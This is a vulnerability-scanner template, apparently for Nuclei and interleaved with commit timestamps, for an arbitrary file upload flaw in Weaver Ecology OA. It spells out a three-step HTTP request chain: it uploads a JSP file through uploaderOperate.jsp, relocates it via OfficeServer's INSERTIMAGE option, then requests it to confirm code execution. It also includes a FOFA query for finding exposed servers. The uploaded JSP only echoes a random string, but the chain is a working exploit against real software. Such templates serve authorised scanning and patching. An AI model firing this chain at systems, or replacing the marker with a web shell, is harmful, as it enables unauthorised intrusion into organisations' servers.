2023-09-13 11:22:00 +00:00
id : weaver-uploadoperation-file-upload
2023-08-18 03:22:06 +00:00
info :
2023-09-13 11:22:00 +00:00
name : Weaver OA Workrelate - Arbitary File Upload
2023-08-18 03:22:06 +00:00
author : SleepingBag945
severity : critical
2023-09-13 11:22:00 +00:00
description : |
Ecology contains an arbitrary file upload vulnerability. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code, As a result, an attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
2023-08-18 03:22:06 +00:00
reference :
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
2023-09-13 11:22:00 +00:00
- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/weaver-oa-workrelate-file-upload.yaml
2023-08-18 03:22:06 +00:00
metadata :
2023-09-18 12:45:28 +00:00
max-request : 3
2023-10-14 11:27:55 +00:00
fofa-query : app="泛微-协同办公OA"
2023-09-17 16:11:07 +00:00
tags : ecology,fileupload,intrusive
2023-09-13 11:22:00 +00:00
variables :
filename : "{{to_lower(rand_base(5))}}"
string : "{{randstr}}"
2023-08-18 03:22:06 +00:00
http :
- raw :
- |
POST /workrelate/plan/util/uploaderOperate.jsp HTTP/1.1
Host : {{Hostname}}
User-Agent : Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept : */*
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryVdb2RRl25PuaGhWj
Accept-Encoding : gzip
------WebKitFormBoundaryVdb2RRl25PuaGhWj
Content-Disposition : form-data; name="secId"
1
------WebKitFormBoundaryVdb2RRl25PuaGhWj
2023-09-13 11:22:00 +00:00
Content-Disposition : form-data; name="Filedata"; filename="{{filename}}.jsp"
2023-08-18 03:22:06 +00:00
2023-09-13 11:22:00 +00:00
<%out.println("{{string}}");%>
2023-08-18 03:22:06 +00:00
------WebKitFormBoundaryVdb2RRl25PuaGhWj
Content-Disposition : form-data; name="plandetailid"
1
------WebKitFormBoundaryVdb2RRl25PuaGhWj--
- |
POST /OfficeServer HTTP/1.1
Host : {{Hostname}}
User-Agent : Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept : */*
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryVdb2RRl25PuaGhWj
Accept-Encoding : gzip
------WebKitFormBoundaryVdb2RRl25PuaGhWj
Content-Disposition : form-data; name="aaa"
{"OPTION" : "INSERTIMAGE" , "isInsertImageNew" : "1" , "imagefileid4pic" : "{{fileid}}" }
------WebKitFormBoundaryVdb2RRl25PuaGhWj--
- |
2023-09-13 11:22:00 +00:00
GET /{{filename}}.jsp HTTP/1.1
2023-08-18 03:22:06 +00:00
Host : {{Hostname}}
extractors :
- type : regex
name : fileid
internal : true
group : 1
regex :
2023-09-17 16:11:07 +00:00
- "&fileid=(.*?)\\'>"
2023-08-18 03:22:06 +00:00
matchers-condition : and
matchers :
- type : dsl
2023-09-17 16:11:07 +00:00
dsl :
2023-08-18 03:22:06 +00:00
- "status_code_1 == 200 && contains(body_1,'workrelate/plan/util/ViewDoc')"
2023-09-13 11:22:00 +00:00
- "status_code_2 == 200 && contains(body_2, 'println')"
- "status_code_3 == 200 && contains(body_3,'{{string}}')"
2023-08-18 03:22:06 +00:00
condition : and
2023-10-20 11:41:13 +00:00
# digest: 4a0a00473045022100842d0c47c12fe663e3da34832c889d568c8fffb3740648bbccc968954dd1c6e40220140f9f9b1d82e205c7bbcb715d2bfb99c4513d6cc842990a9618fd21e4c97721:922c64590222798bb761d5b6d8e72950